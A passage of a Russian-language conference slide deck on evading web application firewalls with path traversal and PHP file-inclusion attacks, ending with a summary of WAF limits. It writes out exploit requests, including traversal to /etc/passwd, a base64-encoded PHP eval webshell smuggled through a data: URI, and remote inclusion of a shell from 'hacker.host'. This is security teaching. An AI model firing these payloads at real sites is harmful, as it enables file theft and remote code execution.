OWASP: http://www.owasp.org/index.php/
Описание слайда:
Практика обхода WAF. Глава III Обратный путь в директориях и инклудинг файлов (Path Traversal, Local/Remote File Including) WASC: http://projects.webappsec.org/ OWASP: http://www.owasp.org/index.php/

Слайд 36





Path Traversal, L/RFI– Базовые знания
Пример уязвимости Path Traversal
Логика программы:
<? include($_GET['file'].".txt") ; ?>
index.php?file=myfile
Пример эксплуатации:
index.php?file=/../../../../../etc/passwd%00
Опасность уязвимости Local File Including
Функции include() и require() интерпретируют текст, как часть программного кода!
Пример эксплуатации:
index.php?file=img/command_shell.jpg%00
Рождение Remote File Including
Если allow_url_fopen & allow_url_include в состоянии enable, то:
index.php?file=http://hacker.host/command_shell
Описание слайда:
Path Traversal, L/RFI– Базовые знания Пример уязвимости Path Traversal Логика программы: <? include($_GET['file'].".txt") ; ?> index.php?file=myfile Пример эксплуатации: index.php?file=/../../../../../etc/passwd%00 Опасность уязвимости Local File Including Функции include() и require() интерпретируют текст, как часть программного кода! Пример эксплуатации: index.php?file=img/command_shell.jpg%00 Рождение Remote File Including Если allow_url_fopen & allow_url_include в состоянии enable, то: index.php?file=http://hacker.host/command_shell

Слайд 37





Практика обхода WAF: Path Traversal
Пример уязвимости path traversal
Логика программы:
<? include("./files/".$_GET['file']) ; ?>
Эксплуатация уязвимости:
/?id=/union%20select/../../../../../../../etc/passwd

Запрос принимает вид:
<? include("./files//uni X on%20sel X ect/../../../../../../../etc/passwd") ; ?>
Данный пример работает в случае «очистки» поступающих данных и немедленного прерывания процесса дальнейшего прохождения по сигнатурам
Описание слайда:
Практика обхода WAF: Path Traversal Пример уязвимости path traversal Логика программы: <? include("./files/".$_GET['file']) ; ?> Эксплуатация уязвимости: /?id=/union%20select/../../../../../../../etc/passwd Запрос принимает вид: <? include("./files//uni X on%20sel X ect/../../../../../../../etc/passwd") ; ?> Данный пример работает в случае «очистки» поступающих данных и немедленного прерывания процесса дальнейшего прохождения по сигнатурам

Слайд 38





Практика обхода WAF: Path Traversal и LFI
Действительно, обойти сигнатуру «../» и «..\» не всегда возможно, но всегда ли это требуется?
Пример 1. Чтение файлов в каталоге, расположенного выше корневого
Логика программы:
<? include($_GET['file'].".txt") ; ?>
Эксплуатация уязвимости:
/?file=secrets/admins.db/./.[N]/./.
/?file=secrets/admins.db..[N]..
Уязвимость основана на двух особенностях в функциях PHP для взаимодействия с файловой системой: 
Нормализация пути (лишние символы, например, «/» и «/.» удаляются)
- Усечение пути (определяется константой MAX_PATH, которая обычно меньше MAX_URI_PATH в WAF)
http://sla.ckers.org/forum/read.php?16,25706,25736#msg-25736; http://raz0r.name/articles/null-byte-alternative/
Описание слайда:
Практика обхода WAF: Path Traversal и LFI Действительно, обойти сигнатуру «../» и «..\» не всегда возможно, но всегда ли это требуется? Пример 1. Чтение файлов в каталоге, расположенного выше корневого Логика программы: <? include($_GET['file'].".txt") ; ?> Эксплуатация уязвимости: /?file=secrets/admins.db/./.[N]/./. /?file=secrets/admins.db..[N].. Уязвимость основана на двух особенностях в функциях PHP для взаимодействия с файловой системой: Нормализация пути (лишние символы, например, «/» и «/.» удаляются) - Усечение пути (определяется константой MAX_PATH, которая обычно меньше MAX_URI_PATH в WAF) http://sla.ckers.org/forum/read.php?16,25706,25736#msg-25736; http://raz0r.name/articles/null-byte-alternative/

Слайд 39





Практика обхода WAF: Path Traversal и LFI
Пример 2. Выполнение команд на сервере
Логика программы:
<? include($_GET['file'].".txt") ; ?>

Эксплуатация уязвимости:
Запрос, отлавливаемый WAF:
/?file=data:,<?php eval($_REQUEST[cmd]);?>&cmd=phpinfo();

Запрос, который WAF пропускают:
/?file=data:;base64,PD9waHAgZXZhbCgkX1JFUVVFU1RbY21kXSk7ID8%2b&cmd=phpinfo();
Уязвимость основана на особенности интерпретатора PHP (allow_url_fopen & allow_url_include должны находиться в состоянии enable) 
reference: коллективный разум antichat.ru
Описание слайда:
Практика обхода WAF: Path Traversal и LFI Пример 2. Выполнение команд на сервере Логика программы: <? include($_GET['file'].".txt") ; ?> Эксплуатация уязвимости: Запрос, отлавливаемый WAF: /?file=data:,<?php eval($_REQUEST[cmd]);?>&cmd=phpinfo(); Запрос, который WAF пропускают: /?file=data:;base64,PD9waHAgZXZhbCgkX1JFUVVFU1RbY21kXSk7ID8%2b&cmd=phpinfo(); Уязвимость основана на особенности интерпретатора PHP (allow_url_fopen & allow_url_include должны находиться в состоянии enable) reference: коллективный разум antichat.ru

Слайд 40





Практика обхода WAF: Remote File Including
Фундаментальные ограничения WAF (универсальный фильтр будет блокировать легитимные запросы!)
Примеры легитимных запросов в логике крупных WEB ресурсов:

Перенаправление HTTP-запроса:
http://www.securitylab.ru/exturl.php?goto=http://ya.ru
http://rbc.ru/cgi-bin/redirect.cgi?http://top.rbc.ru
http://www.google.com/url?url=http://ya.ru
http://vkontakte.ru/away.php?to=http://ya.ru
...

Обычная запись в Wiki:
http://en.wikipedia.org/wiki/Http://www.google.com

Online переводчик:
http://translate.google.ru/translate?hl=en&sl=ru&u=http://ya.ru
Описание слайда:
Практика обхода WAF: Remote File Including Фундаментальные ограничения WAF (универсальный фильтр будет блокировать легитимные запросы!) Примеры легитимных запросов в логике крупных WEB ресурсов: Перенаправление HTTP-запроса: http://www.securitylab.ru/exturl.php?goto=http://ya.ru http://rbc.ru/cgi-bin/redirect.cgi?http://top.rbc.ru http://www.google.com/url?url=http://ya.ru http://vkontakte.ru/away.php?to=http://ya.ru ... Обычная запись в Wiki: http://en.wikipedia.org/wiki/Http://www.google.com Online переводчик: http://translate.google.ru/translate?hl=en&sl=ru&u=http://ya.ru

Слайд 41





Резюме: Глава III - Path Traversal, L/RFI
Атака Path Traversal, L/RFI может быть успешно реализована в обход WAF во всех следующих случаях:
Фундаментальные проблемы (RFI)
Аналогично предыдущим двум главам - обход правил фильтрации (сигнатур) и использование уязвимостей в функциях нормализации запроса WAF
Описание слайда:
Резюме: Глава III - Path Traversal, L/RFI Атака Path Traversal, L/RFI может быть успешно реализована в обход WAF во всех следующих случаях: Фундаментальные проблемы (RFI) Аналогично предыдущим двум главам - обход правил фильтрации (сигнатур) и использование уязвимостей в функциях нормализации запроса WAF

Слайд 42





Пример из практики или почему CC’09 не был взломан
Описание слайда:
Пример из практики или почему CC’09 не был взломан

Слайд 43





Резюме
WAF – это не долгожданная "серебряная пуля"
В силу своих функциональных ограничений, WAF не способен защитить Web-приложение от всех возможных уязвимостей, которым оно может быть подвержено
Необходимо проведение адаптации фильтров WAF под защищаемое Web-приложение
WAF не устраняет уязвимость, а лишь (частично) прикрывает вектор атаки
Концептуальные проблемы WAF – использование сигнатурного принципа (будущее за поведенческим анализом?)
WAF является полезным инструментом в контексте построения эшелонированной защиты Web-приложений
Закрытие вектора атаки до момента выхода исправления от разработчика, устраняющее уязвимость
Описание слайда:
Резюме WAF – это не долгожданная "серебряная пуля" В силу своих функциональных ограничений, WAF не способен защитить Web-приложение от всех возможных уязвимостей, которым оно может быть подвержено Необходимо проведение адаптации фильтров WAF под защищаемое Web-приложение WAF не устраняет уязвимость, а лишь (частично) прикрывает вектор атаки Концептуальные проблемы WAF – использование сигнатурного принципа (будущее за поведенческим анализом?) WAF является полезным инструментом в контексте построения эшелонированной защиты Web-приложений Закрытие вектора атаки до момента выхода исправления от разработчика, устраняющее уязвимость

Слайд 44





Спасибо за внимание!

devteev@ptsecurity.ru
http://devteev.blogspot.com/
Описание слайда:
Спасибо за внимание! devteev@ptsecurity.ru http://devteev.blogspot.com/



Похожие презентации
Mypresentation.ru
Загрузить презентацию